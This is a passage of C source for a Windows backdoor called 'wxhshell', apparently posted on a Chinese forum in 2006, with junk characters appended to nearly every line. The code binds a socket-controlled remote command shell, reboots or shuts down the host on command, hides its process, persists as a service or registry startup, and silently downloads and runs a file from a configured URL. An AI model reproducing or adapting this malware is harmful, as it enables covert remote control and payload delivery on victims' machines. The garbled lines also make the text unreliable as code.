  } > Cx;h=  
  else { q?# w%0}  
$HV`bJ5!L*  
    switch(cmd[0]) { -yY]0  
  hle@= e/n  
  // 帮助 gR k+KGKn<  
  case '?': { d C6t+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7[(<t+  
    break; |exjrsmM*  
  } E\~!E20^  
  // 安装 0j[%L!hny  
  case 'i': { k7bfgb {  
    if(Install()) wdEQB-dA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _^Q =n>G  
    else *l'5z)]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yn-;+ 4 K  
    break; QBTjiaYGa'  
    } YGkk"gFIA  
  // 卸载 ['@R]Si"!  
  case 'r': { ](^BQc  
    if(Uninstall()) ],Y+|uX->  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2@pEuB3$?!  
    else *iujJ i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 19^B610  
    break; liVj-*m  
    } {i:Ayhq~&  
  // 显示 wxhshell 所在路径 _,E! <  
  case 'p': { _6MNEoy?  
    char svExeFile[MAX_PATH]; )Jd{WC.  
    strcpy(svExeFile,"\n\r"); r`d.Wy Zj  
      strcat(svExeFile,ExeFile); 1EA}[x  
        send(wsh,svExeFile,strlen(svExeFile),0); "z ;ky8  
    break; $4]"g}_  
    } +L<x0-&  
  // 重启 HiDL:14  
  case 'b': { x-ZCaa}O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #6qLu  
    if(Boot(REBOOT)) jxA*Gg3cT5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9y5nG  
    else { /N\[ C"8  
    closesocket(wsh); ~JxAo\2i  
    ExitThread(0); jR o4+8  
    } 9N{"ob Z  
    break; 4Nz]LK%@  
    } @1G`d53N  
  // 关机 zrCQEQq  
  case 'd': { 99..]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / ,#&Htk  
    if(Boot(SHUTDOWN)) BX6]d:S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d"JI4)%  
    else { ixIfJ  
    closesocket(wsh); \l9S5%L9  
    ExitThread(0); 9x9~u8j  
    } b0"R |d[i  
    break; z9[BQ(9t  
    } G[!Y6c 3  
  // 获取shell }@S''AA\  
  case 's': { G/5]0]SO  
    CmdShell(wsh); 0'.7dzz  
    closesocket(wsh); \3v}:E+3  
    ExitThread(0); [ZkK)78}k  
    break; Um\_G@  
  } ~J,e^$u  
  // 退出 #-Nc1+gu   
  case 'x': { X7gtR|[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rt10:9Kz$  
    CloseIt(wsh); YXWlg%s  
    break; u4p){|x7s  
    } X[ up$<  
  // 离开 ON/U0V:v  
  case 'q': { #GT4/Ej}W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >X!A/; $  
    closesocket(wsh); kan4P@XVS  
    WSACleanup(); ^-i<TJ  
    exit(1); juc;]CHt'  
    break; H%AC *,  
        } j? P=}_Ru  
  } d;9F2,k$w  
  } 96$qH{]Ap  
zgh~P^Z  
  // 提示信息 0ynvn9@t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3\jcq@N  
} $-:j'e:j  
  } Rg?m$$X`  
#^ cmh  
  return; \P` mV9P  
} u4UQMj|q  
f^63<gqY  
// shell模块句柄 D7"RZF\)  
int CmdShell(SOCKET sock) GE{u2<%@  
{ ?g21U97Q  
STARTUPINFO si; x.OCE`  
ZeroMemory(&si,sizeof(si)); #I(Ho:b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O$Z<R:vVA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $WV N4fg  
PROCESS_INFORMATION ProcessInfo; m"CsJ'\ors  
char cmdline[]="cmd"; {tlt5p!4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  h7h[! >  
  return 0; \-?@ &' :  
} "}jY;d#n  
+bbhm0f  
// 自身启动模式 CI };$4W~  
int StartFromService(void)  %wYGI  
{ aMaFxEW  
typedef struct {IlX@qWr  
{ '[nH] N  
  DWORD ExitStatus; =U_WrY<F  
  DWORD PebBaseAddress; ~A5MzrvIO2  
  DWORD AffinityMask; ^l(Kj3gM  
  DWORD BasePriority; wwtk6;8@  
  ULONG UniqueProcessId; </OZ,3J=  
  ULONG InheritedFromUniqueProcessId; [e:mRMi  
}   PROCESS_BASIC_INFORMATION; cF7efs8u  
@+3@Z?!SZ  
PROCNTQSIP NtQueryInformationProcess; KF#,Q  
Uu9*nH_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ; iK9'u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -m.SN>V  
AJ*FQo.U  
  HANDLE             hProcess; Yb<t~jm  
  PROCESS_BASIC_INFORMATION pbi; BWbM$@'x  
DhL]\ 4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]i3 1@O  
  if(NULL == hInst ) return 0; T@ [*V[  
3\xvy{r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,c%>M^d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O<1qU M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |G5Me  
=vv4;az X  
  if (!NtQueryInformationProcess) return 0; Lwg@*:`d  
U/e$.K3v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7>a-`"`O  
  if(!hProcess) return 0; ib4shaN`  
>^8=_i !  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m{/?6h 1  
ng-g\&-  
  CloseHandle(hProcess); 7n-;++a5]  
K&t+3O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _7AR2  
if(hProcess==NULL) return 0; &gn^i!%Z)  
}4!R2c  
HMODULE hMod; 6w d0"  
char procName[255]; 5AWIk,[  
unsigned long cbNeeded; ^MyuD?va  
p?mQ\O8F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0i[,`>-Av  
Fu*~{n  
  CloseHandle(hProcess); =AhXEu^  
r*|#*"K"a  
if(strstr(procName,"services")) return 1; // 以服务启动 Ut;, Z  
~Bll\3-=  
  return 0; // 注册表启动 >AT{\W!N  
} - I$qe Xy  
?N 6'*2{NT  
// 主模块 CH6^;.  
int StartWxhshell(LPSTR lpCmdLine) -.8 nEO3  
{ 87Sqs1>cw  
  SOCKET wsl; c :S A#.  
BOOL val=TRUE; < sJ  
  int port=0; hrpql_9.  
  struct sockaddr_in door; N|n"JKw)  
wic& $p/%  
  if(wscfg.ws_autoins) Install(); TG\3T%gH/s  
 vO 85h  
port=atoi(lpCmdLine); "v @h  
<1H bjR w  
if(port<=0) port=wscfg.ws_port; l2))StEm  
}uJH!@j  
  WSADATA data; _S43_hW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /bE=]nM  
GXV<fc"1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z\z mAus  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }B=`nbgIG7  
  door.sin_family = AF_INET; dqU bJc]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @`&kn;7T  
  door.sin_port = htons(port); `'Fz :i  
xn49[T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -r%3"C=m  
closesocket(wsl); Q+ r4  
return 1; ,J|8P{ZO  
} i%m]<yElm  
I:4m]q b  
  if(listen(wsl,2) == INVALID_SOCKET) { iXp*G52  
closesocket(wsl); ={[s)G  
return 1; Byx8`Cx1  
} q*,g  
  Wxhshell(wsl); 1wX0x.4d  
  WSACleanup(); [89qg+z  
*.X!AJ;M=O  
return 0; /&g5f4[|p  
 `Pa)H  
} ai7*</ls  
6xk~Bt  
// 以NT服务方式启动 gOkq>i_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %SW"{GnO ^  
{ a}~Xns  
DWORD   status = 0; M_-LI4>  
  DWORD   specificError = 0xfffffff; B3Id}[V  
0/7y&-/(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8`e75%f:2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %UEV['=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VqzcTr]_  
  serviceStatus.dwWin32ExitCode     = 0; ~NYy@l   
  serviceStatus.dwServiceSpecificExitCode = 0; %d..L-`]ET  
  serviceStatus.dwCheckPoint       = 0; os|Y=a  
  serviceStatus.dwWaitHint       = 0; S GAu.8Js  
*>x~`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a!Z.ZA  
  if (hServiceStatusHandle==0) return; |P{K\;-  
GtQ$`~r  
status = GetLastError(); g. V6:>,  
  if (status!=NO_ERROR) ?T+Uu  
{ bVE t?E*+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +}IOTw" O`  
    serviceStatus.dwCheckPoint       = 0; *h=|KOS  
    serviceStatus.dwWaitHint       = 0; K8,fw-S%  
    serviceStatus.dwWin32ExitCode     = status; e0i&?m  
    serviceStatus.dwServiceSpecificExitCode = specificError; U%2[,c_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =yn|.%b  
    return; vA(V.s`  
  } dl:uI5]  
NXQdyg,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JTH8vk:@  
  serviceStatus.dwCheckPoint       = 0; 1BQB8i-,  
  serviceStatus.dwWaitHint       = 0; lM1Y }  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dps0$f c  
} M" |Mte  
577H{;pW  
// 处理NT服务事件,比如:启动、停止 (A.%q1h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }@-4*5P3  
{ 6qsT/  
switch(fdwControl) h=uv4&  
{ * A B  
case SERVICE_CONTROL_STOP: dpHK~n j\_  
  serviceStatus.dwWin32ExitCode = 0; G.KZZ-=_4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n:c)R8X]  
  serviceStatus.dwCheckPoint   = 0; O=wA/T=w?  
  serviceStatus.dwWaitHint     = 0; L_Q1:nL-0  
  { AplXl=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :G#>):  
  } 52-Gk2dp  
  return; Go>_4)jy  
case SERVICE_CONTROL_PAUSE: Q_<CG[,6D1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U0}]3a0  
  break; ^+CTv  
case SERVICE_CONTROL_CONTINUE: `&2AN%Xz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T7E9l  
  break; ve.rp F\  
case SERVICE_CONTROL_INTERROGATE: kFPZ$8e  
  break; AhOvI {  
}; rf.w}B;V;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /p| ]*={  
} SOo/~ giz|  
I~lX53D  
// 标准应用程序主函数 ,@2d <d]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E]PHO\f-m}  
{ zItf>j7|Z  
SdF*"]t  
// 获取操作系统版本 3RpDIl`0  
OsIsNt=GetOsVer(); Jt6~L5[_s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A!}Wpw%(/  
3rX5haD\  
  // 从命令行安装 <'H^}gQow  
  if(strpbrk(lpCmdLine,"iI")) Install(); xmz83Ll9  
w]w>yD>$  
  // 下载执行文件 0tVZvXgTu  
if(wscfg.ws_downexe) { r 5::c= Cl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $Oa} U3  
  WinExec(wscfg.ws_filenam,SW_HIDE); z38&7+  
} 2T!pFcc  
<_&H<]t%rI  
if(!OsIsNt) { E )D*~2o/  
// 如果时win9x,隐藏进程并且设置为注册表启动 yRaB\'  
HideProc(); b!VaEK  
StartWxhshell(lpCmdLine); j["b*X`8G  
} ]Bw2>6W  
else &d]%b`EXq  
  if(StartFromService()) j`1% a]Bwc  
  // 以服务方式启动 "`Q~rjc$2  
  StartServiceCtrlDispatcher(DispatchTable); ?.#?h>MS{s  
else b`N0lH.V  
  // 普通方式启动 Y85M$]e,  
  StartWxhshell(lpCmdLine); U CzIOxp}  
} y@pAeS,  
return 0; k4te[6)  
}
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只看该作者 1 发表于: 2006-10-10
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